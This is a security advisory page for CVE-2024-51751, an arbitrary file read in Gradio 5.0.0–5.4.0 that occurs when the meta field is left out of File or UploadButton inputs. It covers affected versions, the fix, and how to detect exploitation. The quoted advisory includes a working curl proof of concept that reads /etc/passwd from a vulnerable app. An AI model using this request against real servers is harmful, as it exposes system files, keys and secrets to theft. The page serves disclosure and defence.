CVE-2024-51751: Gradio vulnerable to arbitrary file read with File and UploadButton components
Gradio 5.0.0 through 5.4.0 lets anyone who can reach an app read arbitrary files from the server, if the app uses a File or UploadButton component and shows the file content back. A request that leaves out the meta field skips Gradio's path check. Fixed in gradio 5.5.0.
Published Nov 6, 2024 · Updated Jun 5, 2026 · Analysis Nov 1, 2026
What an attacker can do
Gradio cleans incoming file paths with processing_utils.async_move_files_to_cache. That function only checks inputs that pass client_utils.is_file_obj_with_meta, which requires a meta key with _type set to gradio.FileData. A request that omits meta, or sets another _type, is never checked. The attacker's path stays in place and the component reads it directly, in _process_single_file in file.py and upload_button.py.
The proof of concept posts to /gradio_api/run/predict with a path of /etc/passwd and no meta field. With the meta field the server rejects it with InvalidPathError (the file was not uploaded by a user). Without it, the file content comes back in the response.
This needs an app that takes a File or UploadButton input and returns or previews the content, for example a gr.File(type="binary") input wired to a textbox. The attacker needs only network access to the app. They can read any file the Gradio process can read: environment files, API keys, SSH keys, model files and source code. Apps that only upload and never echo content are not described as exposed.
Who is affected
gradio on pip, versions 5.0.0 up to but not including 5.5.0. Versions below 5.0.0 are not listed. Check the installed version:
pip show gradioThen review your apps for gr.File or gr.UploadButton inputs whose content is returned to the user. Those are the exposed ones.
gradio
- Ecosystem
- PyPI
- Affected
- >= 5.0.0, < 5.5.0
- Fixed in
- 5.5.0
- Check
pip show gradio
How to fix it
Upgrade to gradio 5.5.0:
pip install --upgrade "gradio>=5.5.0"The advisory lists no workaround. Until you upgrade, limit who can reach the app, for example by putting it behind authentication or a private network. That is a general measure, not one the advisory states. Also rotate secrets that sit in files the Gradio process can read, if the app was exposed.
How to tell if you were hit
Search web server or proxy logs for POST requests to /gradio_api/run/predict whose JSON body contains a path outside your upload directory, such as /etc/passwd, and has no meta key. Those requests return 200 with file content, while normal requests carry meta with _type gradio.FileData. Server logs showing InvalidPathError (Cannot move ... to the gradio cache dir because it was not uploaded by a user) point to probing with the meta field present.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.
Details
Consider the following application where a user can upload a file and preview its content:
import gradio as gr
def greet(value: bytes):
return str(value)
demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")
if __name__ == "__main__":
demo.launch()If we run this application and make the following request (which attempts to read the /etc/passwd file)
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'Then this results in the following error on the server
gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.This is expected. However, if we now remove the "meta":{"_type":"gradio.FileData"} from the request:
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'This doesn't cause an error and results in the content of /etc/passwd being shown in the response!
This works because Gradio relies on the processing_utils.async_move_files_to_cache to sanitize all incoming file paths in all inputs. This function performs the following operation
return await client_utils.async_traverse(
data, _move_to_cache, client_utils.is_file_obj_with_meta
)where client_utils.is_file_obj_with_meta is used as a filter which tells on which inputs to perform the _move_to_cache function (which also performs the allowed/disallowed check on the file path). The problem is that client_utils.is_file_obj_with_meta is not guaranteed to trigger for every input that contains a file path:
def is_file_obj_with_meta(d) -> bool:
"""
Check if the given value is a valid FileData object dictionary in newer versions of Gradio
where the file objects include a specific "meta" key, e.g.
{
"path": "path/to/file",
"meta": {"_type: "gradio.FileData"}
}
"""
return (
isinstance(d, dict)
and "path" in d
and isinstance(d["path"], str)
and "meta" in d
and d["meta"].get("_type", "") == "gradio.FileData"
)For example, as in the PoC, the file path won't be checked if the meta key is not present in the request or if _type is not gradio.FileData.
Then, the path remains under control of the attacker and is used to read a file in _process_single_file function in file.py and upload_button.py (and possibly other places)
PoC
As described above, run the following Gradio app
import gradio as gr
def greet(value: bytes):
return str(value)
demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")
if __name__ == "__main__":
demo.launch()And make the following request
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'Impact
Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.
Credited to ifratric.
Questions
- Is every Gradio app affected by CVE-2024-51751?
No. The advisory describes apps that use File or UploadButton components and echo or preview the file content to the user. Your version must also be 5.0.0 through 5.4.0.
- Does the attacker need to log in?
The advisory says an attacker with access to the application can exploit it. The proof of concept uses one HTTP request. If your app has no login, anyone who can reach it can try.
- Which version fixes it?
gradio 5.5.0. Versions 5.0.0 to 5.4.0 are vulnerable.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Gradio vulnerabilities
All Gradio entriesCVE-2026-49119
Gradio FileExplorer preprocess path traversal allows files outside root_dir to reach callbacks
high7.5Jul 1, 2026CVE-2026-10783
Gradio: Audio cache key ignores metadata when saving numpy audio outputs
low2.5Jun 4, 2026CVE-2026-48545
Gradio contains a cookie injection vulnerability
high6.8May 27, 2026CVE-2026-27167
Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
lowMar 1, 2026CVE-2026-28414
Gradio is Vulnerable to Absolute Path Traversal on Windows with Python 3.13+
high7.5Mar 1, 2026CVE-2026-28415
Gradio has an Open Redirect in its OAuth Flow
medium4.3Mar 1, 2026
